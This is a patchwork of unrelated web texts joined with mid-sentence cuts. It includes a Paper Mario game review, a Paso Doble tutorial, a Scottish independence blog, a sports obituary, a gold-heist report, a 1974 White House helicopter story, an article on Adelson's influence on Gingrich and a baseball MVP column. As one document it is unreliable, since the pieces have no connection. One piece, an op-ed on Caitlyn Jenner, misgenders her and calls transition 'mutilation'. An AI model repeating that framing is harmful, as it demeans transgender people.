While Mario's battle actions don't vary much over the course of the game, the enemies you'll encounter do vary a fair bit, and are pretty much the only things that keep the battles from becoming a mindless grind. Some enemies come in stacks and are better dealt with by using many weak hits, other enemies have spikes, making jumps ineffective, still others can be flipped over, or have other weaknesses. Since Mario always attacks each enemy in the order that they're lined up, there's a bit of strategy involved in choosing the order of your action cards according to enemy weaknesses and your own ability so that the appropriate card is used on the appropriate enemy. Another thing that keeps the battles at least somewhat fresh, is the seemingly random appearance of Kamek, who will block you from running from the battle and curse you with some kind of gimmick like limiting your cards or flipping them all over.
Things come with their own humorous animations when used in battle too. Boss battles were a bit odd in Sticker Star because they were essentially impossible without using the correct Thing. Well, that's back, but only for a handful of battles, and, once again, the Toad in Port Prisma will tell you which Thing you'll be needing ahead of time. The issue then comes with knowing when in the battle to use that Thing card. It's usually obvious and follows the same format in each boss, with a normal battle segment followed by a Thing segment, but if you do use your Thing at the wrong time, it'll be wasted and you'll have no choice but to run from the battle to get another one or reset the game. Furthermore, there are "Replica" Thing cards which can only be used in battles and not for solving puzzles, but for some reason have no effect on bosses even if they're the correct Thing. So that's not very intuitive.
Click to enlarge
The enemy variety helps to keep the battles at least somewhat fresh. Also, just a couple minor, miscellaneous things to mention:
There are a few control options to enable buttons to be usable in battle rather than touch controls, though I'm not sure why they aren't just both enabled by default.
Secondly, cards are kept in one long line, simulating how Mario holds them like playing cards while deciding his next move. Cards can be manually re-ordered, or instantly sorted by type with the press of a button. It's a minor complaint, but card organization could have been better with the addition of different sorting options and if cards were displayed in multiple rows so that you didn't have to scroll through as many as 99 cards to get to the Thing object you want at the bottom of the stack.
Miscellaneous Other Stuff
The world of Paper Mario: Color Splash is surprisingly big, and there's a lot to find and do, but almost everything there is to find and do ends up being a required part of the main story at some point. However, there are a few optional goals for the player to pursue.
Click to enlarge Firstly, there's a museum in Port Prisma that you can donate cards to in order to unlock some pretty spiffy concept art. The museum also contains a sound test room where you can listen to music from each area, which is unlocked for filling in 100% of that area's colorless spots.
Secondly, there are Roshambo Temples, where you compete in a series of three Rock-Paper-Scissors battles, using clues and a bit of luck to win tons of easy coins and exclusive cards.
Third, there are some hidden cut-out spots with secrets in them which award coins, though finding each of them is tracked.
And finally, the main plaza of Port Prisma has some flags with achievement goals written on them. Fulfilling these requirements will unfurl the banners and... seemingly have no effect beyond that (but I haven't gotten them all, so I can't say for sure).
...And that's pretty much every optional side quest in the game. It's not much, but it does mean that the main quest feels extra long thanks to everything else being required.
By the way, for those who want to play on the Gamepad only, yes, you can do that and it works just fine.
The Final Word
Paper Mario: Color Splash is arguably the most visually and musically beautiful game in the series so far. Its main plot may be thinner than usual, but the characters and their smaller, individual stories are put together with hilarious, top notch writing and animation that goes above and beyond the call of duty, giving Toads more personality than ever. I found both overworld and in-battle gameplay to be enjoyable as well, albeit a bit simplistic. However, although everything is great from the start, both the plot and |
Cha and Jive. Whereas in night clubs in New York dancers might be dancing the salsa, or in Buenos Aires the Tango, in Paris people young and old alike dance the Paso Doble socially. It isn't often taught to beginner Latin Dancers in some parts of the world, which is a shame, because it is truly the easiest of the five Latin dances, even easier than Rumba. Sadly, when dancers postpone learning the Paso Doble until they reach a high level, they find they are far behind those who started earlier. Therefore, in this BGBB, I'm going to prove to you just how easy Paso Doble is, show you how you can learn this dance on your own, and challenge you to take it to the next level.
The Basics
If you are a Man, stand on your Left Foot; if you are a Lady, on your right. This is the first rule you have to learn: the Man always starts stepping with his right foot, and the Lady with her left. Now just take tiny steps in place on the ball of the foot, counting 1-2-1-2. That is Paso Doble - seriously!
Step as described above, and without moving. That is called the Sur Place.
Take tiny steps forward. That is called the Basic Movement Forward.
Take tiny steps back. That is called the Basic Movement Back.
Travel to the left, dancing side, close, side close. That is called a Chasse to the Left.
Travel to the right, dancing close, side, close, side. That is called the Chasse to the Right.
Now you've learnt five figures! What's more, any of these figures can gradually turn either to the left or the right, and if you want, you can always end the final step in Promenade Position by just turning your bodies slightly and opening up. Click on any of the figures above to see a video performance of that figure.
Walking
In addition to taking these tiny 1-2-1-2 steps, we can use regular walking steps in Paso Doble. Stand in Closed Position, and the Man will walk forward, RF, LF, RF, and then close LF to RF so you end with your feet together. The Lady will walk backward, mirroring the Man. That figure is called the Deplacement, and is used just to move from one place to another on the floor. What makes this different from the Basic Movement Forward is that all the steps are regular length walking steps, instead of tiny steps on the balls of the feet.
You can also walk in Promenade Position. Starting in Promenade Position, do the same thing as above, but this time with both dancers going forward. Starting in Promenade Position standing on the outside foot, the Man will step RF, LF RF, and then close his LF to his RF, turning back to face his partner squarely. The Lady will dance the natural opposite. That figure is called the Promenade Close.
The Appel
The Appel is a fun part of Paso Doble, where essentially the first step turns into a stamping of the foot on the floor in place. Because Paso Doble represents the bullfight, the Appel represents the matador's call to the bull, but in dancing, it is essentially used as a signal to the Lady which the Man uses to let her know he is about to start moving. Take the Deplacement, and turn the first step into an Appel. Now that figure is called the Attack instead of the Deplacement. It isn't really necessary that you remember the names, just that you see that all of Paso Doble is made up of just a few simple movements.
Beginner Routine
Using only the figures discussed above, try this basic routine. Just so you don't get lost counting 1.2.1.2, we'll count 1.2.3.4.5.6.7.8 below. If you'd like some Paso Doble music to dance to, check out this Youtube playlist (Paso Doble is almost always danced to the same song).
Figure Name Turn Action Used Position Count Basic Mvt. Forward - Tiny steps Closed 1.2.3.4.5.6.7.8 Basic Mvt. Back Gradual turn to L Tiny steps Closed 1.2.3.4.5.6.7.8 Attack - Appel, then Walks Closed 1.2.3.4 Sur Place Turn to PP on 8 Tiny steps Closed, end in PP 5.6.7.8 Promenade Close Turn to Closed on 4 Walks PP, end in Closed 1.2.3.4 Chasse to R Gradual Turn to R Tiny steps Closed 5.6.7.8
This routine isn't particularly complicated or fancy, but it is real Paso Doble! Use the other figures discussed above to make a routine of your very own.
The Next Step
All of Paso is made up of these simple steps. In terms of technique, Paso Doble is the simplest of all the dances. Visit Ballroom Guide's Paso Doble Syllabus, where all the variations of all the Syllabus figures, PreBronze through Gold, are demonstrated and described in detail. The next time a Paso Doble comes up at a social dance, try it out. If you've ever been to a social dance where a Paso Doble wasn't played, that was entirely your fault - talk to the DJ and request one, and 99% of DJ's will be happy to play one for you.
Paso Doble is a really fun dance, and it's easy to learn. Give it a try, and let me know how it goes in the comment section below!A surgically damaged man appeared on the cover of Vanity Fair, and the applause is mandatory. There are some who call this latest turn in the sexual revolution “radical” or “transformative.” Yet, in reality, the only thing radical about Bruce Jenner’s transformation into “Caitlyn” is the harm to his body, inflicted in a desperate quest to be something that he’s most assuredly not: a woman.
WPF XAML Schulung In 3 Tagen zum WPF XAML Champion. Intensivkurs mit DCT. Lets xaml! davidchristian.de Thanks for the feedback! Undo What was wrong with this ad? Irrelevant Inappropriate Repetitive Thanks for the feedback! Back We’ll review this ad to improve the experience in the future. Thanks for the feedback! Undo We’ll use your feedback to review ads on this site. Closing ad: %1$d Ad covers the page Report this ad
The transgender movement is but one small branch of the immense, self-regarding tree of the sexual revolution, and since it shares the same logic as such cultural catastrophes as no-fault divorce and abortion on demand, its acceptance by elite culture was and is a foregone conclusion. After all, if the sexual revolutionaries believe — with religious fervor — that personal fulfillment and self-actualization are so important that it’s worth inflicting a grisly death on a wholly innocent baby to preserve, then a little gender-reassignment surgery is just one more, small step for (person)kind.
All of this self-regard comes at high cost. To those who say that Bruce Jenner’s body is his own — that he can do what he wants with it — realize that during this process his many children lost a father, and his wife lost a husband. These losses occur during every “transition,” as the sexual revolution demands — upon pain of shame and banishment — that family members treat fathers as mothers, sons as daughters, and husbands as wives. The Jenner/Kardashian clan has expressed support (though Kris and Kylie Jenner are still obviously struggling), but really, what other option did they have? For people who inhabit the pop-culture tribe, you disapprove of sexual radicalism at your own– very high — professional risk.
The only thing radical about Bruce Jenner’s transformation into ‘Caitlyn’ is the harm to his body, inflicted in a desperate quest to be something that he’s most assuredly not: a woman.
We’re growing increasingly accustomed to bearing the costs of sexual selfishness and radical personal autonomy. Robert Putnam’s new book, Our Kids, reads like one long treatise on what happens when families fall apart. The battle over same-sex marriage treats adult sexual fulfillment as the highest social good, one worth trampling core civil liberties to enact and preserve. In spite of this obvious cost, liberals recently exulted over Gallup-poll results showing that Americans had “shift[ed] left” on virtually every significant social issue — with increasing support for divorce, extramarital sex, gay sex, polygamy, and adultery. The formula for cultural decay is by now quite clear: Short-term gratification leads to longer-term misery. Yet the sexual revolutionaries maintain their cultural grip by owning the pleasure and blaming others for the pain.
Liberals trumpet the flexible family relationships that allow people to escape dysfunctional unions. As for the poverty, depression, and increasing inequality between two-parent families and the transient remainder? Well, that’s the fault of globalization, insufficient funding for public schools, and the war on unions. Leftists applaud a sexual libertinism that allows a person to enjoy a life of “play” and maximize their pleasure. As for the feelings of guilt, shame, and confusion that accompany a life of casual sexual intimacy? Well, that’s the fault of religious scolds or insensitive and predatory men.
The one-sentence philosophical summary of the sexual revolutionary is “My body is my business.” Yet that comes with an unspoken corollary: “Consequences be damned.” While there are necessary legal and political responses to sexual radicalism (preserving religious liberty and working to ban abortion is a good start), the true response to these trends isn’t encapsulated by the phrase “there oughta be a law” but rather “there oughta be a culture.”
Why does the intolerant Left so vigilantly police speech — introducing even a Twitter “bot” to automate the scolding about the “correct” gender pronoun to use in reference to Jenner? Because they know speech — including simple pronouns — matters. Don’t consent. Laverne Cox is not a woman, and neither is “Caitlyn Jenner.” He is a man with breast implants. He’s always been a man, and he will always be a man. Yes, he’s deeply troubled. Our hearts go out to him in his pain, but the answer is not found in radical self-regard, and it’s certainly not found in surgical mutilation. He is a man created in God’s image, yet a man experiencing deep anguish about his very creation. He needs our prayers, not our applause.
— David French is an attorney and staff writer at National Review.
There is no single person who can shift an entire culture, much less materially restrain cultural drift, but we can each do something. Increasingly, that “something” means resisting the temptation to stay silent, to acquiesce in absurdities for the sake of temporary social (or social-media) peace. Intimidated silence advances the cause of sexual radicalism every bit as much as enthusiastic acceptance. By refusing to speak, we contribute to the notion that even conservatives understand that something is wrong — something is shameful — about our own deepest beliefs.The 2014 referendum was a premature confrontation between Scottish Nationalism and its ambitions. In a long campaign, Yes Scotland managed to achieve something remarkable. The Yes campaign was defeated and defeated handily, but support for Scottish independence roared into the mainstream of political opinion. Even victors are by victories undone. Short term advantage is sometimes bought at the expense of a disaster tomorrow. The Better Together campaign is a case study in the perils of short term thinking.
schadenfreude may attach to Labour's immediate challenges, but we must continue to take a longer view as the People's Party are gripped by their own internecine conflicts and disputes. Last Friday, we observed the aftermath of a stricken Scottish Labour Party, sinking beneath the waves, demasted in the crosswinds of political opinion, hull bust, lifeboats swept away, leaving a sole survivor in Ian Murray. Now the ship's skipper has finally done the decent - and probably necessary - thing, leaving the battered boat directorless and directionless heading into the long campaign for Holyrood in 2016. For the partisan SNP supporter, a squirming feeling ofmay attach to Labour's immediate challenges, but we must continue to take a longer view as the People's Party are gripped by their own internecine conflicts and disputes.
The brutal fact remains -- if we held another independence referendum today, tomorrow, next week, next month, or next year -- we would still be defeated. Scotland is not awash with people feeling buyer's remorse. The poll wasn't fixed. The anxieties which delivered a No majority on the 19th of September have not been answered. The doubts of the folk outside the enclaves that supported independence by a majority - Clackmannanshire, Aberdeenshire, Perthshire, the Highlands - have by no means been allayed.
Any indisciplined rush into a second referendum can lead only to disaster. Exuberance in the wake of an exciting General Election campaign, I can understand -- but it must be checked and scrutinised cold-bloodedly. I would suggest that that scrutiny urges only one conclusion: the fundamentals are still agin us. Vital, it may have been, stimulating and new. But we must be honest with yourselves: on too many issues, the intellectual case for Scottish independence was never won in the long referendum campaign of 2013 and 2014.
One of my long lasting anxieties about the 1998 devolution settlement has been the kind of politicians it would produce. As a party which has rooted and grown in Holyrood since the turn of the century, the SNP has historically been particularly exposed to the limits of devolved thinking. A national parliament with an important range of powers, but one shorn of responsibility for economic affairs, for monetary and international affairs, defence and welfare. For the unionist majority in the Smith Commission, the problem with this set-up is the lack of "responsibility", connecting decisions on spending with decisions on taxation. But for an independence-supporter trying to take a longer view, the issues are different.
Devolution risks producing politicians with attitudes towards a great swathe of state policy which is at best intellectually underdeveloped and at worst empty oppositionalism and sloganising. These "big things" become someone else's problem. This attitude may cut the mustard in the forgetful ordinary run of politics. In the compressed formats of telly and radio, your spokesmen will find things to say, outraged soundbites to coin, but a slogan is not a policy.
Slogans may work day to day, but they are bound to be seriously shown up in something as fundamental as a long referendum campaign. By no means am I suggesting that the SNP is the vacuous party of empty protest its opponents sometimes suggest -- but these reserved areas have often been our weakest suit. There is no shame, and no downside, in being frank with ourselves about that.
Take one example. You can understand the thinking behind the White Paper's currency policy. Folk wanted to keep the pound. The focus groups urged it. So the Scottish Government decided to back it. But in practice, the policy amounted to giving your deadliest enemy a loaded revolver and saying, "please don't shoot me with this". The rest is history. Osborne pulled the trigger. Salmond foundered in the first debate with Darling. Credibility was never demonstrated or gained. We lost. I could go on.
The election of the 56 is no mandate for independence, or even another referendum, but it is a remarkable opportunity to begin working quietly on these tricky fundamentals and to resist the narrow field of policy vision which devolution sometimes encourages. The Short Money is flowing in, up from a modest £187,000 to £1,200,000 a year, excluding any additional party levies on the new MPs' salaries. That is a formidable war chest which the SNP must put to work in pursuit of its short and longer term aims.
The intellectual, technical case for Scottish independence must be strengthened in the longer run if it is ever to be won. The target is moving. The issues are not static. But if -- when -- a second referendum comes along, we now have no cause and no excuse to run a campaign which is vulnerable on critical questions of reserved policy. Tough choices will, inevitably, have to be made and policy battlefields selected. But for the first time in its history, the party now has a formidable Westminster machinery and staff, scrutinising the reserved issues, with resources to think fundamentally about its approach to central issues in the economy, and choices in monetary policy and regulation, defence, welfare, international affairs. That's an opportunity which cannot be squandered.Los Angeles Kings public address announcer David Courtney poses with the Stanley Cup. (image courtesy of the LA Kings)
According to the Los Angeles Kings, public address announcer David Courtney, 54, died. The cause of death has not been disclosed.
Kings President, Business Operations Luc Robataille said in a statement released by the Kings:
David was tremendously passionate about the Kings, our fans and the game of hockey. His time with the Kings dates back to the mid 1970s both in our PR office as our public relations director and also with work he did in our video department before he took over full-time Public Announcing duties at the Forum and STAPLES Center. In the arena he was an institution - he was the voice of the Kings - and his work added so much to the live, in-game experience for our fans as it did for the Clippers and Angels as well. Next season would have been David’ 35th year with our franchise, and on behalf of the entire Kings organization and AEG we are incredibly saddened by this news and we send our deepest condolences to his wife Janet and the rest of the Courtney family.
Courtney also was the full-time public address announcer for the Clippers and Angels and filled in for Dodgers announcer Eric Smith several times per season. He also was heard on the radio across the Southland doing sports and traffic updates for AM 710 KSPN, AM 830 KLAA and KOLA 99.9 FM in the Inland Empire.
Courtney's last tweet occurred on Wednesday when he told a follower that he was waiting to undergo an angiogram.
Courtney is survived by his wife Janet.Exactly one year and a day after he is alleged to have taken part in the highway heist of $4.8 million in gold bars from a semi truck traveling from Miami to Massachusetts last year, a suspect was taken into custody by the FBI.
Adalberto Perez, 46, was arrested Wednesday at his home in Opa-Locka, Florida, near Miami, in connection with his alleged role in the robbery on I-95 in Wilson County, North Carolina, March 1, 2015. Court records did not name an attorney for the Perez, ABC 11 reports, and a FBI spokesperson said further details about the charges would be released later.
The truck Perez is accused of robbing with two other armed thieves was hauling 275 pounds of gold bars from Miami to Massachusetts when the men pulled up to the vehicle at a stop and robbed it of five five-gallon buckets filled with gold bars. Two passing motorists saw the guards walking with their hands tied and called 911.Published on February 17, 2013
By Thomas Van Hare
It was after midnight on the night of February 17, 1974 — today in aviation history — when Private First Class Robert K. Preston, US Army, a helicopter pilot who had washed out of training, crept across the tarmac at Fort Meade, Maryland, and boarded a UH-1 Iroquois helicopter. The aircraft was unarmed and, as was usual, was kept fueled on the flight line. With the practiced hand of his training, he quickly went through the start up sequence. Without clearance, he pushed in the power, pulled up on the controls and took off into the night. For a time, he orbited the base at night, enjoying the view and hovering over base housing. Finally, bored with this, he set out for a new destination — the White House.
Background of the Events
Over the previous months, PFC Preston had washed out of his training for failing his instrument check ride. It was a shock and a serious personal blow to a man who had dedicated himself to the US Military, having joined JROTC and slowly worked his way into a course to become a combat helicopter pilot. The Vietnam War was winding down and the US withdrawal was largely complete, leaving the South Vietnamese military to fight against the North. For PFC Preston, he was concerned that he might have missed the big show, but nonetheless continued to pursue his dream.
Failing the check ride, however, meant that he was done. A future in another MOS or duty type might await, to be sure, but this had been his dream. Further, he considered himself a damn good helicopter pilot, at least when not flying instruments. Even there, however, he didn’t consider himself a complete failure. But with the Army’s upcoming cuts, washing new helicopter pilots out for failures in training was the unrelenting norm. He considered himself just a victim of circumstance. Yet he wanted to prove himself and he could think of no other way than to show his skills to the President of the United States, Richard M. Nixon, in person.
The Flight of the Intruder
When he left Fort Meade, Army controllers had no idea he was headed toward the White House — it appears at first that neither did he, in fact, since he took a rather meandering course to get there. The Secret Service had no idea he was on the way and air defenses around the nation’s Capitol in those days were somewhat lax. Policies regarding shooting at aerial intruders who might threaten the President were defined but not air-tight — not by any means. There wasn’t much of a concern that night, however, because President Nixon wasn’t in the White House anyway. The President was traveling in Florida at the time. Even the First Lady, Pat Nixon, was out — she was in Indianapolis on a visit to the “First Daughter”, Julie Nixon, who was sick.
PFC Preston flew first at low level across Anne Arundel County, landing at one point at a car park, where he shut down and got out, running a couple of times around the helicopter to check it out for damage, before restarting and continuing on. He landed several more times as he flew at dramatically low levels across the town of Dorsey. At one point, a pursuing police car was of interest to him and he buzzed it so low that he cut the car’s radio antenna. He then buzzed Baltimore-Washington International Airport before turning southeast and flying at low altitude along the Baltimore-Washington Parkway, dodging between electrical wires and trees in what pursuing police described as “masterful” flying.
When PFC Preston arrived in Washington, he took a flight down the Anacostia River, turned north at the Capitol Street Bridge and then flew directly to the White House. It was about 1:00 am. At first the Secret Service was somewhat miffed. He buzzed the White House itself and then hovered overhead for six long minutes. At the time, policy was that they would not fire on a helicopter or other aerial intruder if it might endanger innocent bystanders, and so they waited. Finally, he flew down the South Lawn and landed about 100 yards toward the south fence. The Washington Monument towered in the background and he remained there on the ground for a minute. Two Maryland Police helicopters that had flown down from around Baltimore hovered nearby.
Suddenly, PFC Preston took back off into the night skies and the police gave close pursuit. An extended tail chase ensued at low level. In fact, it turned out that PFC Preston was indeed quite an expert pilot after all, as he managed to not only outmaneuver the two helicopters at ever turn but even managed to drive one down in the process. The second helicopter broke off but stayed nearby after what officials called, “a modern day dogfight”. PFC Preston returned to the White House once more. It was nearly 2:00 am and he had led the officials on a prolonged chase — certainly, his fuel was running low.
The Final Shootdown
This time he flew up to the Washington Monument, hovering at seven feet of altitude along the base for a bit before flying back straight north onto the White House’s South Lawn. There too he hovered just a few feet over the grass and it seemed to officials that this time he might be preparing to make a dash to crash into the building. The second Maryland Police helicopter set down quickly between him and the White House as Secret Service agents moved toward the helicopter. Then, without warning, they opened fire with handguns and shotguns hoping to cripple the helicopter. They also fired and hit PFC Preston with a shotgun blast, injuring slightly. He landed the damaged helicopter at once — though it seemed also that the damage from the gunfire had knocked the aircraft out of the sky, leaving the Secret Service to conclude that it had downed the helicopter.
Once on the ground, the Secret Service and Maryland Police rushed in. PFC Preston jumped clear and fought them hand to hand, though he was badly outnumbered. It wasn’t long before he was subdued, however. Handcuffed, he was taken into the White House for questioning before being transferred to Walter Reed hospital for treatment for his light injuries — mainly shotgun pellets. The following day, when being escorted into a police car, he was smiling. When asked why he had flown back to the White House a second time, he said that he knew it was wrong to fly over the White House so he had flown back “to turn himself in”. The Secret Service ordered psychological testing. Ultimately, all civil charges were dropped and he was left to the military court system.
In the end, PFC Preston had proven two things — first, he was a pretty darn good helicopter pilot after all; and second, that he was certainly not up to the moral and ethical standards of the US Army. He was sentenced to a year in prison.
Today’s Aviation Trivia Question
PFC Preston’s landing on the White House South Lawn is not the only unwelcome aviation visitor in the history of Presidency. What other planes have landed or crashed on the South Lawn and what were the circumstances in each case?The linkage between campaign contributions and compromised candidates has grown so familiar that it no longer shocks, and indeed rarely even interests, most of us. But in the super-PAC era, when a single, $5 million, donation can resuscitate a broken Newt Gingrich, the search for a quid pro quo explanation expands with the enlarged dimensions of the donation. In the case of Las Vegas casino king Sheldon Adelson, Gingrich’s Daddy Warbucks, the size of the subsidy can literally shape a candidate’s views on matters of war and peace, and I’m not talking about a battle for gaming rights.
Adelson uses his money to abuse or anoint Israeli prime ministers (ask Ehud Olmert, on the abuse side, and the still-anointed Bibi Netanyahu) and American presidents (Gingrich versus Obama). He even pulled his money out of AIPAC, the top-pro Israel lobbying group, when it appeared to support a 2007 peace initiative championed by Olmert, President Bush, and Secretary of State Condoleezza Rice, an effort denounced by Gingrich at the time. “I don’t continue to support organizations that help friends committing suicide just because they say they want to jump,” explained Adelson, who was already spearheading a coup designed to replace Olmert with Netanyahu.
As significant as his 2012 check was to Gingrich’s Winning Our Future PAC, paying for the negative ads now swamping South Carolina, Adelson actually became Newt Gingrich’s biggest donor in 2006, pumping a million startup dollars into an otherwise empty and similarly named Gingrich PAC, American Solutions for Winning Our Future. He gave $7.7 million over four years to this group, widely seen as “the springboard” for Gingrich’s presidential campaign, making him the largest donor over those years to any 527 independent committees, the supposedly issue-oriented precursors to the super PACs that now dominate presidential campaign finance. The PAC spent $8 million flying Gingrich in private jets around the country in anticipation of a 2008 candidacy that he flirted with before abandoning, and in the lead-up to this race. It was during these years, and in recent jolting comments, that Gingrich appeared to begin talking to an audience of one, at least when it came to his Middle East views.
One way to test how this generosity might have influenced the always hardline Gingrich is how these views hardened even more after he climbed aboard the Adelson gravy train, who has so far donated nearly $13 million to Gingrich’s two White House-tied PACS, a record in American politics. In the summer of 2005, a year before Gingrich founded American Solutions with Adelson as the initial donor, the ex-speaker candidate penned a treatise for a right-wing U.S. publication called the Middle East Quarterly. Compared to the views he expresses now, which are a full-blown echo of Adelson’s, the Gingrich of six years ago was a moderate, endorsing Obama-like policies he now condemns.
Contrary to Gingrich’s recent claim that the Palestinians are an “invented people” that “had a chance to go many places,” his 2005 article urged the “Palestinian diaspora” to invest in “their ancestral lands,” and even urged Congress to “establish a program of economic aid for the Palestinians to match the aid the U.S. government provides Israel.” The Palestinians were “among the most international and most advanced people in the Arab world,” Gingrich wrote while still a fellow at the right-wing American Enterprise Institute.
“The U.S. government should become the protector of the Palestinian people’s right to have a decent amount of land,” the Gingrich article continued. “The desire of some Israelis to use security as an excuse to grab more Palestinian land should be blocked by Washington even if that requires employing financial or other leverage to compel the Israeli government to behave reasonably on the issue of settlements. It is vital to our credibility in the entire Middle East that we insist on an end to Israeli expansionism. It is vital to our humanitarian duty to the Palestinian people that we protect the weaker party from the stronger power. It is vital that the world sees that our total support for Israeli security is not matched by a one-sided support for more extreme Israeli territorial demands.”
Gingrich wrote that the U.S. “should actively support a democratic Palestinian state,” and even condemned “Israeli politicians” who think there’s “no reason to have a Palestinian state.” He said those politicians “are in their own way the equivalent of those Palestinians who believe that Israel can be coerced into a right of return for Palestinians even if it would mean the end of Israel.”
In the controversy that followed his 2011 “invented people” comments, the Gingrich campaign indicated that he favored a “negotiated peace settlement” that set “the borders of a Palestinian state,” suggesting that he could live with a two-state solution. But the Gingrich spokesman also indicated that these negotiations would have to take into account “decades of complex history,” which was widely seen as an affirmation of Gingrich’s effort to delegitimize the Palestinians’ “invented” land claim. In any event, Gingrich opposes peace negotiations, and did so in the 2005 article as well, unless the Palestinians agree to a series of highly unlikely pre-bargaining conditions. So, in practical terms, his position doesn’t put him far from Adelson, who flatly says “the two-state solution is a stepping stone for the destruction of Israel and the Jewish people.” Both the Bush and Obama administrations have made it a foundation of bipartisan American policy.
Gingrich’s repudiation of his 2005 op-ed on American settlement policy, however, was even more striking. Asked in a December radio interview about his position about the right of Jewish settlers to live “in Judea and Samaria” (the term favored on the Israeli right for the West Bank), Gingrich now says: “I do not oppose any development in the Israeli-occupied areas, because I think that’s part of the negotiating process. As long as the Palestinians are waging war on Israel, they are in no position to complain about developments.” Why would the Israelis, Gingrich asked, “slow down in maximizing their net bargaining advantage?” The questioner was Morton Klein, the head of the Zionist Organization of America (ZOA), a pro-settlement group bankrolled in part by Adelson, who refers to Klein as his “Zionist mentor, the greatest and most passionate Zionist in the world.” Klein is a rare neocon who openly admits his minimal expectation that a peace agreement can be reached, declaring, “As much as we all want Israel to have peace with the Arabs, Israel can and will survive and thrive without it—as they have since 1948.”
The new Gingrich view was another mirror image of Adelson’s, who has branded the settlement issue “a red herring.” When Klein presented Adelson with the ZOA’s Theodor Herzl Gold Medallion at the group’s annual dinner in December 2009, Klein even assailed Netanyahu’s partial moratorium on West Bank settlements, calling it “racist.” In Adelson’s acceptance speech, the then-76-year-old billionaire said that “each time” Klein opened his mouth, “I thought it was me talking,” a ventriloquist performance he’s repeating with Newt now on the national stage. Adelson said he was going to Israel to lobby Netanyahu about the 10-month moratorium the prime minister started that November, and when it expired, Netanyahu resisted intense Obama administration and Palestinian Authority pressures to renew it. News reports now indicate that 2011 was a peak year in new settlement development, and Gingrich has been highly critical of Obama administration efforts to curb it, charging recently that Defense Secretary Leon Panetta “unacceptably interfered in internal Israeli politics” and “challenged Israeli sovereignty” when he urged restraint on settlement activities. That statement directly contradicts his 2005 essay, which portrayed resistance to settlements as an American “duty.”
Klein also endorsed Gingrich’s “invented people” charge against the Palestinians, saying, “Not many others are willing to say that, but it’s a tragic truth.” At a Chanukah event, Adelson himself ¨told American students visiting Israel, “Read the history of those who call themselves Palestinians, and you will hear why Gingrich said recently that the Palestinians are an invented people. There are a number of Palestinians who will recognize the truth of this statement.” Just a few days before Adelson gave Gingrich the $5 million donation, he told the Jewish Press that the Palestinians “don’t want the Jews or any other religion to be alive, so how are they going to get to the point of peace?”
While an Adelson spokesman did not return Daily Beast calls, Klein, who says he’s known Gingrich since their discussions in the '90s about linking congressional aid to the Palestinians to compliance with peace accords, says he “agrees in general” with Gingrich positions. “The fact that he makes it clear, unlike others,” says Klein, “that the Palestinian Authority’s goal is not a state but Israel’s destruction. I strongly agree with that.” Asked if he thought Adelson was trying to influence politicians with these large donations, Klein said, “Anyone who gives money to Obama is hoping to influence him. That’s part of the deal when anyone gives money to a politician, they hope to influence them. One of the factors is maybe they’ll listen to them.” Klein said, “I honestly don’t know” if Adelson had shaped Gingrich views on these issues, adding that he thought Gingrich “holds the views he holds very strongly” and that Adelson gave to him because he knows that Gingrich’s positions “align themselves well with his own.”
Gingrich also referred in the 2005 article to the threat of a nuclear Iran, but without urging any immediate American or Israeli action. While there’s no doubt this is a graver concern than it was six years ago, Gingrich said then that Iran was “believed by many countries to be secretly developing nuclear weapons.” He put this in the broader context of North Korea and Pakistan already having nukes, and Gingrich calling them and a chemical-weapon-armed Syria “hostile to Israel’s existence.” But he clearly saw it as a future threat, concluding that “another generation of continuing hatred and violence could culminate in a devastating attack” on Israel. No presidential candidate now, however, has done more saber rattling against Iran, another Adelson echo.
In Connie Bruck’s extraordinary New Yorker profile of Adelson, she reported that as early as June 2007, Adelson was so ready for war with Iran that he separated the men from the boys on the basis of their willingness to strike Iran. At a conference in Prague sponsored by his own Adelson Institute for Strategic Studies, he dismissed the son of the former shah because, he told one participant, “he doesn’t want to attack Iran.” He said he liked another Iranian dissident at the conference “because he says that if we attack, the Iranian people will be ecstatic.” He attributed his own lust for an attack to his love of Israel, adding that he didn’t care what happened in Iran.
Another U.S. group Adelson bankrolled, the now defunct Freedom’s Watch, listed Iran as one of its two top concerns on its website, and enlisted Gingrich as one of its prime defenders in 2008 when NBC refused to air its ads the network branded “too political.” Gingrich went on Fox calling for an NBC boycott. In addition, Israel Hayom, the Adelson-owned newspaper in Israel that’s become its largest daily, is simultaneously beating the drums for an Iranian attack and a Gingrich nomination. In an interview with its editor, Gingrich called a possible Israeli attack on Iran “an act of self defense.”
Gingrich has become a fount of anti-Iranian ideas—sabotaging their oil supply, funding every dissident group, and even assassinating their nuclear scientists, which he proposed way back in November, long before the recent murder in the streets of Tehran. Morton Klein, Adelson’s self-described mouthpiece and mentor, is now berating Obama for ostensibly questioning the Netanyahu administration about the killing. “Surely then, if Israel did eliminate the Iranian nuclear scientist,” a Klein press release argued, “President Obama should be privately congratulating Israel, not demanding explanations.” It would seem, said Klein, “Obama thinks preparing for a crisis of Iran’s making renders the West guilty of raising tensions.” Gingrich has oscillated on the question of a direct strike on the nuclear facilities, saying at one point that it’s impossible to take out Iranian’s “huge underground” plant, but at other times saying that if Israel notified him as president that they were about to attack, he’d just offer to help.
Describing the Iranian acquisition of nuclear weapons as “a second holocaust,” Gingrich has seemed at times to be suggesting all-out military efforts to overthrow the Iranian regime. As Klein put it in a Daily |
-digit home runs. Here they come:
Barry Bonds, 2002:.404/.608/.825, 19 homers.
Larry Walker, 1998:.402/.480/.699, 14 homers.
George Brett, 1980:.421/.482/.696, 16 homers.
Pretty high-profile group. Walker had Coors Field's lack of gravity going for him. Bonds had, uhhhh, flax seed going for him. Brett had the most picturesque swing of modern times going for him.
But none of them was coming off a devastating knee injury. And none of them had to scrunch into a squat 125 times every night and bear the responsibility of catching one of the best pitching staffs in baseball.
But that's what Buster Posey is doing. Amazing. So no wonder that, in my informal poll of coaches, scouts and executives, he was the runaway pick.
"He's had an unbelievable second half," said one scout. "And what's most impressive about it is that if you look at the other guys [in this debate], everyone else's lineup stayed the same. His hasn't. I know the Giants went out and got Hunter Pence. But Melky Cabrera was a guy who was in the MVP conversation himself. And since he's been gone, it's almost like Posey said, 'I've gotta pick it up.' And he's done it -- and done it in a park where it's tough to put up power numbers. Plus, he's got to catch a very electric pitching staff. He's been really, really impressive."
Impressive enough, in fact, that I think this is his award to lose.
Andrew McCutchen's numbers have fallen off since early August, but he's still second in the NL with a.340 batting average. Rob Grabowski/US Presswire
Andrew McCutchen
My odds: 5-to-1
